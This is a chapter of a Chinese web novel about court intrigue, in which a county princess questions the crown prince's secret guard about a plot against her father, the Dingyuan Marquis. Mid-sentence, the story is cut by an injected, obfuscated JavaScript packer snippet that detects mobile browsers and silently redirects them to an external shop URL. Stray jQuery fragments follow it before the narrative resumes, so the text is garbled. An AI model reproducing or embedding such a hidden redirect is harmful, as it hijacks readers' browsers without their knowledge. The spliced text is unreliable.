郁珠玉将前因后果缓缓向祝长安讲明。
当初先皇后有一队女子组成的暗卫,先皇后薨逝时,将那队暗卫一分为二,一半给了继后,一半留给了太子。
郁珠玉就是太子那一队里的。不过早在先皇后把她留给太子之前,她就已经贴身保护了太子许多年,也倾慕了太子许多年,她与太子也算得上是两情相悦。
只是暗卫里的女子多是穷苦人家丢弃的孤女,以郁珠玉的身份便是连太子的侍妾都轮不到她来当,所以两人一直没能捅破那层窗户纸。
直到两年前的某个深夜,太子贪杯多饮了酒……
自那日后,两人明面上仍旧是君臣,背地里太子则视她与妻子无二。太子多年清心寡欲,太子妃对于太子多年的冷待也早已习以为常,更何况郁珠玉还是暗卫,从未在人前露过脸,太子与她之间的情意,除了他二人,再无第三人知晓。
待到郁珠玉发现她怀有身孕的时候,两人才不得不另寻出路。
“所以太子就把你塞到侯府来了?”祝长安听着只觉得可笑,郁珠玉痴慕太子可笑,太子身为储君,闹出这般没有颜面的事则更为可笑。
郁珠玉大抵也是知道这事不光彩,抿了抿唇,没有接祝长安的话。
“我虽同太子接触不多,但他稳坐储君位置多年,不像那般没心计的人。”见郁珠玉不答话,祝长安便自顾自地接着猜测:“即便你有了身孕,他想要让你无声无息地生下那对双生子也有一万种方法,为什么偏偏要把你送到侯府来?偏偏我父亲还真就认了。可是太子拿捏了我父亲的什么把柄,威胁了我父亲?”
听见祝长安说太子的不是,郁珠玉一改先前缄口不言的作风,立马出声为太子辩解:“并非如此!诚然如县主所说,太子殿下原本是想将我送出都城,寻一隐秘处生下孩儿!可是……”
“可是什么?”见郁珠玉有松动的迹象,祝长安趁机追问:“若不是太子怕你的事被政敌知道,捅到陛下面前动摇他的太子之位,他何必用我父亲的名头来保下你这个小小暗卫?!我这就去找陛下,将你们二人的丑事通通告诉陛下!”
“不是这样!是殿下知道陛下对定远侯府忌惮,所以才送我进定远侯府,挑起府内争端,让定远侯于明面上私德有亏,如此定远侯府上下才不至于如铁桶一般,好减少陛下疑心!”郁珠玉果真中了祝长安的激将法,三言两语就把太子筹谋卖了个干净。
这事若是闹到皇帝跟前,定远侯自然也是摘不干净的,祝长安即便要把太子拉下水也不会用自己的父亲作阀子。在不牵扯儿女之情时郁珠玉或许是个很好的暗卫,但一旦牵扯上太子,她便有些失了理智。
“你说陛下忌惮定远侯府,是怎么回事?”在郁珠玉的话里,最让祝长安感兴趣的就是这一句,此时自然要先将这个问题弄清楚。
郁珠玉这时候倒是不再隐瞒了,直接将自己知道的和盘托出:“具体的事我并不清楚,只是太子对我提起过几句,说是定远侯久居边境,姜州百姓只知定远侯不知皇帝。陛下担心但凡定远侯有异心,只怕姜州军民立时就会随定远侯揭竿而起。”
“陛下提防我父亲的事,太子又是怎么知道的?”祝长安问道。
郁珠玉这次却不愿再说了。
见问不出来,祝长安也不勉强她,毕竟是太子,他的一些手段若是被祝长安知道了,反倒是会害她自己引火烧身。于是祝长安又换了个问题:“你说太子把你送来是为了搅乱侯府,想来你在侯府三天两头去找我母亲的不痛快也是为了让陛下相信我父亲后院不宁?”
“是。”郁珠玉答道。
祝长安接着问:“陛下的确是曾问起我侯府后院的事,当初我还以为是你将这事闹得太大了,如今照你这么说,陛下是早在侯府中安插了眼线?”
“县主心里应当自有定论。”郁珠玉没有直接回答祝长安。
祝长安心想也是,皇帝手下还有个贯清局,那是只效忠皇帝的秘密机关。别说是定远侯府,想必都城中其他重臣家中的情况,皇帝也是事无巨细通通知晓的。
“既然你是太子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13608642|143405||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
送入侯府搅乱陛下视听的,那我问你。”祝长安这才问出最想问的问题:“陛下对我父亲的疑心可打消了?还有,我侯府与太子素日并无往来,太子为什么要出手帮我父亲?”
郁珠玉想了想,决定先回答祝长安的第二个问题:“定远侯在外征战多年,对大周忠心耿耿,又为大周戍守边疆十数年,保得大周边境安宁,如此忠君爱国之士,太子殿下没有理由眼见他因帝王无谓的猜忌而陨落。”
“至于县主的第一个问题,则正是我来此处的原因……”郁珠玉咬咬牙,在祝长安面前跪了下来:“是太子殿下让我来此救下定远侯的性命,还请县主助我!”
闻言,祝长安惊得直起了身子:“救我父亲?这是什么意思?”
郁珠玉低着头解释:“虽然太子将我送进定远侯府之后让陛下对定远侯府的监视松懈了许多,但潘府覆灭,侯府的大公子追随定远侯事业,在边疆立下战马功劳,二公子又已回到都城,想来不日便会踏上仕途。朝堂之中的文武两大势力,一个已经消散如烟尘,另一
个却仍在步步高升,鲜花着锦,在陛下眼中如今朝中已是定远侯府一家独大,所以,所以……”
她说的这些祝长安这些日子未必没有想到,只是袁子望让她放心,她也就愿意相信陛下仁厚,如今郁珠玉把这些摊开来与她说,她自然不可能再安慰自己侯府定然会同从前那般无恙:“所以什么?”
“所以陛下才会突然决定南巡,又传调令让定远侯来南境附近的武安州练兵,就是为了……”郁珠玉似是不忍,说话有些吞吞吐吐。
“就是为了借海盗侵袭为名头,让我父亲就近救驾,死战海盗!”祝长安闭了闭眼,如今她心里的猜想终究是形成了闭环:“我父亲常年驻守姜州,姜州地处荒漠,在陆地上行军布阵自然是一把好手,可南境地处海边,让我父亲来南境,无疑是把当年对付云麾将军的法子又用来对付我父亲罢了。”
郁珠玉没接话,祝长安又问郁珠玉:“你说要救我父亲,要如何救?我又该如何助你?”